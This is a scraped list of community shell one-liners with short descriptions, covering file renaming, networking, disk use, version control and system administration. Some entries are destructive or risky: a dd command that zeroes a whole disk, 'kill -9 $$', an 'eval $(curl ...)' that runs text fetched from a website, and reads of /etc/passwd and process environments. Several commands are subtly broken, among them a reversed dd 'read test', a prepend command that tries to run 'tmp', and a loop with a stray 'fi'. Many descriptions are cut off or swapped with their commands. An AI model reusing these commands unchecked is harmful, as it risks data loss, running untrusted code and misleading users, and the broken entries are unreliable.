>> cobbler repo add --name=CentOS-5.3-i386-updates --mirror=http://mirror3.mirror.garr.it/mirrors/CentOS/5.3/updates/i386/
* set open firmware password command mode to require password to
>> /usr/local/bin/OFPW -mode 1
* Sets OpenFirmware pasword on a mac
>> /usr/local/bin/OFPW -pass thepassword
* Show all video files in the current directory (and sub-dirs)
>> find -type f -printf '%P\000' | egrep -iz '\.(avi|mpg|mov|flv|wmv|asf|mpeg|m4v|divx|mp4|mkv)$' | sort -z | xargs -0 ls -1
* Precide a bunch of files with a number in a pattern for example
>> i=10;for o in *.mp3; do i=$(printf "%02d" $i); mv $o $i$o; ((i = $i + 2)); done
* Remove blank lines from a file
>> sed -i.bak '/^[[:space:]]*$/d' file_name
* Find all python modules that use the math module
>> find . -name "*.py" -exec grep -n -H -E "^(import|from) math" {} \;
* Dump HTTP header using lynx or w3m
>> lynx -dump -head http://www.example.com/
* Change all instances of a word in all files in the current
>> perl -pi -e 's/foo/bar/g' $(grep -rl foo ./*)
* Change all instances of a word in all files in the current
>> perl -pi -e 's/foo/bar/g' $(grep -l foo ./*)
* Rename *.MP3 *.Mp3 *.mP3 etc.. to *.mp3.
>> find ./ -iname "*.mp3" -type f -printf "mv '%p' '%p'\n" | sed -e "s/mp3'$/mp3'/I" | sh
* Grab your bibtex file from CiteULike.
>> curl -o <bibliography> "http://www.citeulike.org/bibtex/user/<user>"
* print the date of the unix epoch in a human readable form using
>> perl -e 'print scalar localtime $ARGV[0],"\n" ' epoch
* Snmpwalk a hosts's entire OID tree with SNMP V2
>> snmpwalk -v2c -c <community> -m ALL <HOST_IP> .
* List computers which are nearby on the network
>> /usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d
* Find the median file modification time of files in a directory
>> date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F
* Quick alias for playing music.
>> alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'
* Enable V4l2 Webcams
>> gst-launch v4l2src
* for loop, counting forward for backward
>> for i in {1..15}; do echo $i; done
* Display laptop battery information
>> cat /proc/acpi/battery/BAT1/info
* Maven Install 3rd party JAR
>> mvn install:install-file -Dfile=<path-to-file> -DgroupId=<group-id> -DartifactId=<artifact-id> -Dversion=<version> -Dpackaging=<packaging> -DgeneratePom=true
* Store mp3 playlist on variable and play with mpg123
>> PLAYLIST=$(ls -1) ; mpg123 -C $PLAYLIST
* Using awk to sum/count a column of numbers.
>> cat count.txt | awk '{ sum+=$1} END {print sum}'
* Show amigable path
>> alias path='echo $PATH | tr ":" "\n"'
* SVN Add Recursively
>> svn status | grep "^\?" | awk '{print $2}' | xargs svn add
* Singularize all files in a directory
>> for x in *s.yml; do mv $x `echo $x | sed 's/s\.yml/\.yml/'`; done
* Activate on-the-fly GTK accels
>> gconftool-2 -t bool -s /desktop/gnome/interface/can_change_accels true
* Run a complete update unattended on Debian based GNU/Linux
>> sudo apt-get update && sudo apt-get dist-upgrade -y
* Traffic stat on ethernet interface
>> ethtool -S eth0
* sending message to a logined user of group
>> write user anytext
* Show top-level subdirectories (zsh)
>> ls -ld *(/)
* Toggle cdrom device
>> eject -T [cdrom_device]
* Filtering IP address from ifconfig usefule in scripts
>> IPADDR=`ifconfig eth0 | grep -i inet | awk -F: '{print $2}'| awk '{print $1}'`
* ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs
>> ps -ef | grep PROCESS | grep -v grep | awk '{print $2}' | xargs kill -9
* run a command repeatedly
>> doloop() { DONT=/tmp/do-run-run-run; while true; do touch $DONT; (sleep 30; rm $DONT;) & $1 ; if [ -e $DONT ]; then echo restarting too fast; return ; fi ; done }
* quickly show me interesting data about my processes
>> alias mine='ps xco pid,command,%cpu,%mem,state'
* Random integer number between FLOOR and RANGE
>> FLOOR=0; RANGE=10; number=0; while [ "$number" -le $FLOOR ]; do number=$RANDOM; let "number %= $RANGE"; done; echo $number
* top ten of biggest files/dirs in $PWD
>> du -sm *|sort -rn|head -10
* Loopback mount .iso on FreeBSD
>> mount -t cd9660 /dev/`mdconfig -a -t vnode -f discimg.iso` /cdrom
* Recursively delete .svn folders
>> find . -name .svn | xargs rm -rf
* Files modified today
>> ls *(m-1)
* Run a second copy of Firefox using the same profile on Mac OS X
>> (cd /Applications/Firefox.app/Contents/MacOS; ./firefox-bin -p default --no-remote)
* HDD Performance Read Test
>> dd if=10gb of=/dev/zero bs=1M count=10240
* Uncompress a directory full of tarred files (*.gz)
>> for i in *.tar.gz *.tgz; do tar -zxvf $i; done
* [WinXP] Convert FAT32 Hard Drive to NTFS without losing all data
>> CONVERT D: /FS:NTFS
* Remap "New Folder" to Command+N, "New Finder Window" to
>> defaults write com.apple.finder NSUserKeyEquivalents -dict 'New Finder Window' '@$N' 'New Folder' '@N'; killall Finder
* cat ~/.ssh/id_rsa.pub | ssh user@site.com "cat - >>
>> concatenate local RSA to remote machine's authorized_keys
* Ultimate current directory usage command
>> ncdu
* Analyze awk fields
>> awk '{print NR": "$0; for(i=1;i<=NF;++i)print "\t"i": "$i}'
* Twitter update from terminal (pok3's snipts ?)
>> curl -u YourUsername:YourPassword -d status="Your status message go here" http://twitter.com/statuses/update.xml
* VIM: Replace a string with an incrementing number between marks 'a
>> :let i=0 | 'a,'bg/ZZZZ/s/ZZZZ/\=i/ | let i=i+1
* Multiple SSH Tunnels
>> ssh -L :: -L :: @
* Run a command, store the output in a pastebin on the internet and
>> ls | curl -F 'sprunge=<-' http://sprunge.us | xclip
* find files containing text
>> grep -lir "some text" *
* wrap long lines of a text
>> fold -s -w 90 file.txt
* Create directory named after current date
>> mkdir $(date +%Y%m%d)
* Given process ID print its environment variables
>> sed 's/\o0/\n/g' /proc/INSERT_PID_HERE/environ
* Monitor dynamic changes in the dmesg log.
>> watch "dmesg |tail -15"
* Monitor TCP opened connections
>> watch -n 1 "netstat -tpanl | grep ESTABLISHED"
* Pause Current Thread
>> ctrl-z
* quickly change all .html extensions on files in folder to .htm
>> for i in *.html ; do mv $i ${i%.html}.htm ; done
* Sort dotted quads
>> sort -nt . -k 1,1 -k 2,2 -k 3,3 -k 4,4
* Find recursively, from current directory down, files and
>> find ./ -name '*' -exec rename 's/\s+/_/g' {} \;
* Another Curl your IP command
>> curl -s http://checkip.dyndns.org | sed 's/[a-zA-Z<>/ :]//g'
* count IPv4 connections per IP
>> netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | sed s/::ffff:// | cut -d: -f1 | sort | uniq -c | sort -n
* cycle through a 256 colour palette
>> yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done
* track flights from the command line
>> flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn= "$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }
* Typing the current date ( or any string ) via a shortcut as if
>> xvkbd -xsendevent -text $(date +%Y%m%d)
* analyze traffic remotely over ssh w/ wireshark
>> ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -
* Amazing real time picture of the sun in your wallpaper
>> curl http://sohowww.nascom.nasa.gov/data/realtime/eit_195/512/latest.jpg | xli -onroot -fill stdin
* Backup a local drive into a file on the remote host via ssh
>> dd if=/dev/sda | ssh user@server 'dd of=sda.img'
* Kill the terminal(window/tab) you work in [suicide]
>> kill -9 $$
* find forms in a symfony 1.2 project
>> find apps/ -name "*.svn-base" -prune -o -print -name "*.php" | xargs grep -E 'new .+Form\('
* Avoid using seq and pad numbers with leading zeros
>> for i in {001..999}; print $i
* List all users
>> cut -d: -f1 /etc/passwd | sort
* find unmaintained ports that are installed on your system
>> cd /usr/ports; grep -F "`for o in \`pkg_info -qao\` ; \ do echo "|/usr/ports/${o}|" ; done`" `make -V INDEXFILE` | \ grep -i \|ports@freebsd.org\| | cut -f 2 -d \|
* reverse order of file
>> sed '1!G;h;$!d'
* convert Unix newlines to DOS newlines
>> sed 's/$'"/`echo \\\r`/"
* Quickly switch to login window (#OSX)
>> /System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend
* Let's say you have a web site
>> for I in `find . -name "*.php"`; do sed -i "s/old name/new name/g" $I; done
* Improvement of curl + Twitter
>> echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml
* OS-X... create a quick look from the command line
>> qlmanage -p "yourfilename"
* Delete everything on hda
>> dd if=/dev/zero of=/dev/hda
* View your motherboard's ACPI tables (in Debian & Ubuntu)
>> sudo aptitude -y install iasl && sudo cat /sys/firmware/acpi/tables/DSDT > dsdt.dat && iasl -d dsdt.dat
* Add a 1 pixel padding around an image.
>> convert -bordercolor Transparent -border 1x1 in.png out.png
* Compress Images using convert (ImageMagick) in a bulk
>> find . -maxdepth 1 -iname '*jpg' -exec convert -quality 60 {} lowQ/{} \;
* grep the command-line-fu archive
>> clgrep keyword
* Allow to shorten the prompt. Useful when the it is taking too
>> PS1='$'
* Graphic mode for root
>> startx -- :1
* Make sure your compiler is using ccache
>> watch ccache -s
* Run one of your auto test programs from GNU make
>> gmake runtestsingle testsingle=udtime
* Rip an ISO from a CD/DVD using the freeware dd for Windows
>> dd if="\\?\Device\CdRom0" of=c:\temp\disc1.iso bs=1M --progress
* Change default terminal emulator
>> update-alternatives --config x-terminal-emulator
* bkup the old files
>> find <dir> -type f -mtime +<days> -exec scp -r {} user@backuphost:/data/bkup \;
* mem leak check
>> ps gv [pid] | head -2
* Commit all the changes in your java code
>> svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"
* Nice directory listings
>> alias ll="ls -lh --color=auto"
* set the time of system
>> sudo date mmddhhxxyyyy
* Graphically compare two directory hierarchies without Subversion
>> xxdiff -r --exclude=.svn
* add line number for each line
>> cat -n file.txt
* Make syslog reread its configuration file
>> pkill -HUP syslogd
* show physical disk using
>> df -x tmpfs | grep -vE "(gvfs|procbususb|rootfs)"
* hello, world
>> perl -e "''=~('(?{'.('-^@.]|(;,@/{}/),[\\\$['^'],)@)[\`^@,@[*@[@?}.|').'})')"
* backup file. (for bash)
>> cp -p file-you-want-backup{,_`date +%Y%m%d`} # for bash
* list files by testing the ownership
>> ls -la | awk '$3 == "oracle" || $3 == "root" {print $9}'
* To generate the list of dates using bash shell
>> now=`date +"%Y/%m/%d" -d "04/02/2005"` ; end=`date +"%Y/%m/%d" -d "07/31/2005"`; while [ "$now" != "$end" ] ; do now=`date +"%Y/%m/%d" -d "$now + 1 day"`; echo "$now"; done
* Renaming jpg extension files at bunch
>> find . -name "*.jpg" | perl -ne'chomp; $name = $_; $quote = chr(39); s/[$quote\\!]/_/ ; print "mv \"$name\" \"$_\"\n"'
* Save and merge tcsh history across windows and sessions
>> Use history -S in your .logout file
* rows2columns
>> perl -le 'print join ", ", map { chomp; $_ } <>'
* Get to the user for using system.
>> ps awwux|awk '{print $1}'|sort|uniq
* change the all files which contains xxxxx to yyyyyy
>> grep -r -l xxxxx . | xargs perl -i -pe "s/xxxxx/yyyyy/g"
* revert one or more changesets in svn
>> svn merge -r 1337:1336 PATH PATH
* Import an entire directory into clearcase
>> ct mkelem -nc `find ./ -name "*" | xargs`
* Check out hijacked files in clearcase
>> cleartool co -nc `cleartool ls -recurse | grep "hijacked" | sed s/\@\@.*// | xargs`
* ktadd
>> kadmin -p admin@NOC.NBIRN.NET -q "ktadd -k /etc/krb5.keytab host/hostname"
* addprinc
>> kadmin -p admin@NOC.NBIRN.NET -q "addprinc -randkey host/host"
* a pseudo-random coin flip in python
>> echo "import random; print(random.choice(['heads', 'tails']))" | python
* Create a hard-to-guess password
>> dd if=/dev/urandom bs=16 count=1 2>/dev/null | base64
* Extract raw URLs from a file
>> egrep -ie "<*HREF=(.*?)>" index.html | awk -F\" '{print $2}' | grep ://
* add a little color to your prompt
>> PS1="\[\033[44;1;37m\]\u\[\033[0m\]@\h\\$ "
* Make bash look like DOS
>> export PS1='C:${PWD//\//\\\}>'
* Clearcase find branch
>> ct find -avobs -nxname -element 'brtype(branch_name)' -print 2>/dev/null
* Edit any script executable by the user.
>> nano `which script`
* Identify a PKCS#8 Private Key
>> openssl ans1parse -inform DER < [priv key]
* Convert a PKCS#8 private key to PEM format
>> openssl pkcs8 -inform DER -nocrypt -in [priv key] -out [pem priv key]
* Turn /path/to/dir and subdirectories into a project tree
>> chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \;
* For files owned by root only, change ownership to a non-privileged
>> find /path/to/dir -user root -exec chown [nonprivuser] {} \;
* Using Git, stage all manually deleted files.
>> for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done
* Share the current tree over the web
>> python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"
* make a .bak backup copy of all files in directory
>> for i in * ; do cp $i $i.bak; done
* Find all processes running under your username.
>> ps -ef | grep $USER
* kill all foo process
>> ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9
* list all file-types (case-insensitive extensions) including
>> find /path/to/dir -type f |sed 's/^.*\///'|grep -o '\.[^.]*$'|sort -f|uniq -i
* while series of video and subtitles have unmatched file names,
>> for jj in `seq -f "%02.0f" 1 12`; do rr=`ls *S04E$jj*.smi`; tt=`ls *S04E$jj*.avi`; mv "$rr" "${tt%.*}.smi"; done
* Search through files, ignoring .svn
>> find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHTERM"
* cd canonical (resolve any symlinks)
>> alias cdc='cd `pwd -P`'
* creates a bash function to remove certain lines from SSH
>> function sshdel { perl -i -n -e "print unless (\$. == $1)" ~/.ssh/known_hosts; }
* Check if file is greater than 20 bytes, such as an empty gzip
>> BACKUP_FILE_SIZE=`eval ls -l ${BACKUP_FILE} | awk {'print $5'}`; if [
* Press Any Key to Continue
>> read enterKey
* oneliner to open several times same application
>> for i in $(seq 5); do xpenguins & done
* View entire process string
>> /usr/ucb/ps -auxgww
* oneliner to open several times same application
>> i="0"; while [ $i -lt 5 ] ; do xpenguins & i=$[$i+1] ; done
* wget ? server to server files transfer
>> wget -H -r ?level=1 -k -p http://www.domain.com/folder/
* copy partition table from /dev/sda to /dev/sdb
>> sfdisk /dev/sdb <(sfdisk -d /dev/sda| perl -pi -e 's/sda/sdb/g')
* Open a RemoteDesktop from terminal
>> rdesktop -a 16 luigi:3052
* Save VM running as headless
>> VBoxManage controlvm ServidorProducao savestate
* Running VirtualBox as headless
>> nohup VBoxHeadless -p 3052 -startvm ServidorProducao &
* Ruby - nslookup against a list of IP`s or FQDN`s
>> ruby -e 'File.foreach("list") {|i| print `nslookup #{i}`}'
* Killing multiplpe process for one program like apache, wget,
>> ps ax| awk '/[h]ttpd/{print $1}'| xargs kill -9
* Killing multiplpe process for one program like apache, wget,
>> ps aux| grep -v grep| grep httpd| awk {'print $2'}| xargs kill -9
* Return IP Address
>> ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}'
* Return IP Address
>> ifconfig | awk '/inet /{sub(/^[^:]+:/,"",$2); print $2}'
* Return IP Address
>> /usr/sbin/ifconfig -a|awk -F" " 'NR==4{print $2}'
* search for a pattern (regex) in all text files (ignoring binary
>> egrep -i "somepattern" `find . -type f -print`
* Mail text file (/tmp/scream-dump) contents from linux box with
>> mail -s scream-dump user@example.com < /tmp/scream-dump
* http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh)
>> ./encode.sh [ h264 | xvid | theora | mpeg4 ]
* generate random password
>> tr -dc 'a-zA-Z0-9' < /dev/urandom | fold -w 10 | sed 1q
* getting your current ip on your e-mail
>> mail -s "`curl -s whatismyip.org`" youremail@yourserver.com <
* Sorted list of established destination connections
>> netstat | grep EST | awk '{print $5}' | sort
* Find in all files in the current directory, just a find shorthand
>> find ./ -name $1 -exec grep -H -n $2 '{}' ';'
* List all symbolic links in current directory
>> ls -F | sed -n 's/@$//p'
* Mount a Windows share on the local network (Ubuntu)
>> sudo mount -t cifs //$ip_or_host/$sharename /mnt
* Checks apache's access_log file, strips the search queries and
>> cat /var/log/httpd/access_log | grep q= | awk '{print $11}' | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1 | mail youremail@isp.com -s "[your-site] search strings for `date`"
* remove files and directories with acces time older than a given
>> find <dir> -printf '%p : %A@\n' | awk '{FS=" : " ; if($2 < <time in epoc> ) print $1 ;}' | xargs rm --verbose -fr ;
* Remove an unnecessary suffix from a file name for all files in a
>> for f in $(ls *.xml.skippy); do mv $f `echo $f | sed 's|.skippy||'`; done
* Write and run a quick C program
>> alias cstdin='echo "Ctrl-D when done." && gcc -Wall -o ~/.stdin.exe ~/.stdin.c && ~/.stdin.exe'
* Pipe ls output into less
>> function lsless() { ls "$@" | less; }
* Find all dot files and directories
>> ls -a | egrep "^\.\w"
* List files in tarballs
>> for F in $(find ./ -name "*.tgz") ; do tar -tvzf $F ; done
* bash / vim workflow
>> zsh$ M-v
* List files in tarballs
>> find <path> -name "*.tgz" -or -name "*.tar.gz" | while read file; do echo "$file: "; tar -tzf $file; done
* Count emails in an MBOX file
>> grep -c '^From ' mbox_file
* Press Any Key to Continue
>> echo -n "Press any key to continue..." && read
* umount all nfs mounts on machine
>> mount | awk '/:/ { print $3 } ' | xargs sudo umount
* Get ethX mac addresses
>> sudo ifconfig -a | grep eth | grep HW | cut -d' ' -f11
* Get your external IP address with the best commandlinefu.com
>> eval $(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/so rt-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p;q}')
* Go up multiple levels of directories quickly and easily.
>> alias ..="cd .." ...="cd ../.." ....="cd ../../.."
* Get a text on a position on the file and store in a variable with
>> TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' )
* Useful if you need to see compiler errors while edit a code
>> alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear'
* Mount an external FAT32 USB HDD
>> sudo mount -t vfat /dev/sdb1 /mnt/sdb1
* Forward connections
>> ssh -g -L 8080:localhost:80 root@$HOST
* tail, with specific pattern colored
>> tail -f file | egrep --color=always $\|PATTERN
* Compress files and delete the uncompressed ones
>> for i in `ls`; do tar cvjf $i.tar.bz2 $i && rm -r $i; done
* Outputs a 10-digit random number
>> n=$RANDOM$RANDOM$RANDOM; let "n %= 10000000000"; echo $n
* Simple Find
>> find / -name FILENAME
* print crontab entries for all the users that actually have a
>> for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done
* Transforms a file to all uppercase.
>> perl -pi -e 's/([[:lower:]]+)/uc $1/gsex' file
* Laminate a file
>> awk '{print(substr($0,1,5))}' file
* Get all members from one AD group and put them in another AD group
>> for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i
* Remove blank lines from a file and save output to new file
>> sed '/^$/d' file >newfile
* regex to match an ip
>> echo "123.32.12.134" | grep -P '([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d \d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])'
* Checks your unread Gmail from the command line (or use imap etc)
>> curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;
* Search through files, ignoring .svn
>> ack -ai 'searchterm'
* show current directory
>> xdg-open .
* show current directory
>> gnome-open .
* Show directories in the PATH, one per line
>> echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//{$1=pwd"/" $1}{print $1}'
* bash function to check for something every 5 seconds
>> watch -n <seconds> <command>
* Sort a character string
>> echo sortmeplease | grep -o . | sort | tr -d '\n'; echo
* free swap
>> free -m | awk '/Swap/ {print $4}'
* rkhunter (Rootkit Hunter) is a Unix-based tool that scans for
>> rkhunter --check
* Securely edit the sudo file over the network
>> visudo
* Securely look at the group file over the network
>> vigr
* Securely seeing the password file over the network
>> vipw
* dos2unix recursively
>> find . -type f -exec dos2unix {} +
* Get the information about the internet usage from the commandline.
>> vnstat
* find dis1k space
>> du -s `find . -maxdepth 1 \! -name '.'` | sort -n | tail
* Print man pages to PDF (yes, another one)
>> man -t [command] | lp -d PDF -t [command].pdf
* Find the average QTime for all queries ran within the last hour
>> cat /service/solr/log/main/current | tai64nlocal | grep "\(`date '+%F %H'`\|`date '+%F %H %M' | awk '{print $1" 0"$2-1":"$3}'`\)" | grep QTime | awk '{print $NF}' | awk -F\= '{ s += $2} END {print s/NR}'
* Echo the local IP addresses of the machines on your local network
>> for i in 192.168.1.{61..71};do ping -c 1 $i &> /dev/null && echo $i;fi;done
* YES = NO
>> yes | tr 'y' 'n'
* Update iptables firewall with a temp ruleset
>> sudo iptables-restore < /etc/iptables.test.rules
* Emulate sleep in DOS/BAT
>> echo sleep() begins: %TIME% && FOR /l %a IN (10,-1,1) do (ECHO 1 >NUL %as&ping -n 2 -w 1 127.0.0.1>NUL) && echo sleep() end: %TIME%
* Remove CR from Windows- / DOS-textfiles
>> tr -d '\r' < ${input_txt} > ${output_txt}
* Emptying a text file in one shot
>> ggdG
* CPU model
>> cat /proc/cpuinfo
* Multiple Timed Execution of subshells sleeping in the background
>> S=$SSH_TTY && (sleep 3 && echo -n 'Peace... '>$S & ) && (sleep 5 && echo -n 'Love... '>$S & ) && (sleep 7 && echo 'and Intergalactic Happiness!'>$S & )
* parses the BIOS memory and prints information about all structures
>> biosdecode
* x86info
>> x86info
* Lists the size of certain file in every 10 seconds
>> while true ; do du -sk testfile ; sleep 10 ; done
* Turn Regular quotes ("") into curly quotes (??)
>> smartypants | php -r "echo mb_decode_numericentity(file_get_contents('php://stdin'),array(0x0000,0 xFFFF,0x0000,0xFFFF),'UTF-8');"
* List path of binaries
>> echo $PATH|awk -F: ' { for (i=1; i <= NF; i++) print $i }'
* Get your external IP address
>> html2text http://checkip.dyndns.org | grep -i 'Current IP Address:'|cut -d' ' -f4
* find . -name "*.gz" | xargs -n 1 -I {} bash -c "gunzip -c {} |
>> Rezip a bunch of files
* ssh autocomplete
>> complete -W "$(echo `cat .bash_history | egrep '^ssh ' | sort | uniq | sed 's/^ssh //'`;)" ssh
* Get all IPs via ifconfig
>> ifconfig | grep "inet addr" | cut -d: -f2 | cut -d' ' -f1
* Read just the IP address of a device
>> /sbin/ifconfig eth0 | grep "inet addr" | sed -e 's/.*inet addr:\(.*\) B.*/\1/g'
* Read just the IP address of a device
>> ifconfig $DEVICE | perl -lne '/inet addr:([\d.]+)/ and print $1'
* Command for getting the list of files with perms, owners, groups
>> find / | xargs ls -l | tr -s ' ' | cut -d ' ' -f 1,3,4,9
* count how many times a string appears in a (source code) tree
>> grep -rc logged_in app/ | cut -d : -f 2 | awk '{sum+=$1} END {print sum}'
* kill some process (same as others) but parsing to a variable
>> tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill;
* Move files around local filesystem with tar without wasting space
>> tar -C <source> -cf - . | tar -C <destination> -xf -
* find a word in multiple files avoiding svn
>> grep -r 'keyword keyword2' your/path/ | grep -v svn
* Display which distro is installed
>> test `uname` = Linux && lsb_release -a || ( test `uname` = SunOS && cat /etc/release || uname -rms )
* Alternative size (human readable) of directories (biggest last)
>> function duf { du -sk "$@" | sort -n | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done; }
* Use FileMerge to compare two files
>> opendiff <file1> <file2>
* tar per directory
>> cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done
* search for groups in ldap
>> ldapsearch -H ldap://localhost:389 -D cn=username,ou=users,dc=domain -x -W -b ou=groups,dc=domain '(member=cn=username,ou=users,dc=domain)' | grep ^dn | sed "s/dn\: cn=\([^,]*\),ou=\([^,]*\),.*/\2 \1/"
* Mac, ip, and hostname change - sweet!
>> ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere)
* Uncompress a CSS file
>> cat somefile.css | awk '{gsub(/{|}|;/,"&\n"); print}' >> uncompressed.css
* print random commandlinefu.com submission
>> lynx -source http://www.commandlinefu.com/commands/random | sed 's/<[^>]*>//g' | head -1037 | tail -10 | sed -e 's/^[ \t]*//' | sed '/^$/d' | head -2
* Mount a CD-ROM on Solaris (SPARC)
>> mkdir -p /cdrom/unnamed_cdrom ; mount -F hsfs -o ro `ls -al /dev/sr* |awk '{print "/dev/" $11}'` /cdrom/unnamed_cdrom
* Kill an orphan console
>> skill -KILL -t ttyS0
* Run Remote GUI Programs Using SSH Forwarding
>> ssh -C -X user@remotehost gui_command
* Scan for viruses
>> clamscan -ir --bell ~user/
* Get Tomorrow's Date
>> TOM=`perl -w -e '@tom=localtime(time+86400);printf "%d%.2d%.2d",$tom[5]+1900,$tom[4]+1,$tom[3];'`
* Get Yesterday's Date
>> YEST=`perl -w -e '@yest=localtime(time-86400);printf "%d%.2d%.2d",$yest[5]+1900,$yest[4]+1,$yest[3];'`
* Creating a ZFS Storage Pool by Using Files
>> zpool create tank /path/to/file/a /path/to/file/b
* Creating a Mirrored Storage Pool using Zpool
>> zpool create tank mirror c0t0d0 c0t1d0 mirror c0t2d0 c0t3d0
* Creating a RAID-Z Storage Pool
>> zpool create tank raidz c0t0d0 c0t1d0 c0t2d0 c0t3d0 c0t4d0 c0t5d0
* Remove all .svn folders inside a folder
>> find . -name "\.svn" -exec rm -rf {} ";"
* Do an OR search using grep to look for more than one search term
>> grep -i '<searchTerm>\|<someOtherSearchTerm>' <someFileName>
* IP address of current host
>> hostname -i
* Find the svn directory that a commit was made in. Usefull if you
>> echo "12345,12346" |sed -e's/ //'|tr "," "\n"| while read line; do echo -n $line" "; svn log -vr $line https://url/to/svn/repository/|grep "/"|head -1|cut -d"/" -f2; done
* Append output to the beginning of a file.
>> command > tmp && cat logfile.txt >> tmp && tmp > logfile.txt && rm tmp
* gzip vs bzip2 at compressing random strings?
>> < /dev/urandom tr -dc A-Za-z0-9_ | head -c $((1024 * 1024)) | tee >(gzip -c > out.gz) >(bzip2 -c > out.bz) > /dev/null
* Show live HTTP requests being made on OS X
>> sudo tcpdump -i en1 -n -s 0 -w - | grep -a -o -E "Host\: .*|GET \/.*"
* Display all installed ISO/IEC 8859 manpages
>> for i in $(seq 1 11) 13 14 15 16; do man iso-8859-$i; done
* List SMTP connections by host
>> cat /var/log/secure | grep smtp | awk '{print $9}' | cut -f2 -d= | sort | uniq -c | sort -n | tail
* Not so simple countdown from a given date
>> watch -tn1 'bc<<<"`date -d'\''friday 21:00'\'' +%s`-`date +%s`"|perl -ne'\''@p=gmtime($_);printf("%dd %02d:%02d:%02d\n",@p[7,2,1,0]);'\'
* Get own public IP address
>> wget -qO- whatismyip.org
* Add some color to ls file and folder listings
>> eval "`dircolors -b`"
* Quickly make schema changes in Django
>> while true ; do scripts/bootstrap.py ; ./manage.py runserver ; done
* Convert files with CR-terminated lines (as created by Mac OS X
>> function crtonl { perl -i -ape 's/\r/\n/g;' $* ; }
* Find files modified in the last 5 days, no more than 2 levels
>> find . -type f -depth -3 -mtime -5
* Easy Regex based mass renaming
>> ls /some/directory | sed -rn -e 's/input_file_regex/mv -v & output_file_name/p' | sh
* Shows your WAN IP, when you`re sitting behind a router
>> alias myip='curl -s www.wieistmeineip.de | egrep -o "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}"'
* List your FLAC albums
>> find -iname '*.flac' | sed 's:/[^/]*$::' | uniq
* Kills all processes for a certain program
>> kill -9 $(pidof process)
* startx output to log file
>> startx > startx.log 2>&1
* simulates the DOS tree command that you might be missing
>> find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'
* Copy files from one dir to another using tar.
>> tar cf - . | (cd /new/dir; tar xvf -)
* read a column of a file with table like data
>> echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE
* Recursively deletes folders named DIR
>> find . -type d -name DIR -exec rm -r {} \;
* remove file named 1 after fat fingeriing :w! in vi
>> :rm 1
* Generic date format
>> date --iso
* Speak your horoscope with the command line
>> curl -s 'http://www.trynt.com/astrology-horoscope-api/v2/?m=2&d=23' | xmlstarlet sel -t -m '//horoscope' -v 'horoscope' | festival --tts
* Copy All mp3 files in iTunes into one folder (Example: Music on
>> find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \;
* batch convert OGG to WAV
>> for f in *.ogg ; do mplayer -quiet -vo null -vc dummy -ao pcm:waveheader:file="$f.wav" "$f" ; done
* Query for installed packages on RHEL boxes, and format the output
>> rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'
* Say the current time (Mac OS X)
>> date "+The time is %H:%M" | say
* Show "Max" settings for PHP
>> php -i|grep -i max
* determine if CPU is 32-bit or 64-bit
>> grep lm /proc/cpuinfo
* More precise BASH debugging
>> env PS4=' ${BASH_SOURCE}:${LINENO}(${FUNCNAME[0]}) ' sh -x /etc/profile
* is today the end of the month?
>> [ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month'
* Create a directory and change into it at the same time
>> md () { mkdir -p "$@" && cd "$@"; }
* Show Directories in the PATH Which does NOT Exist
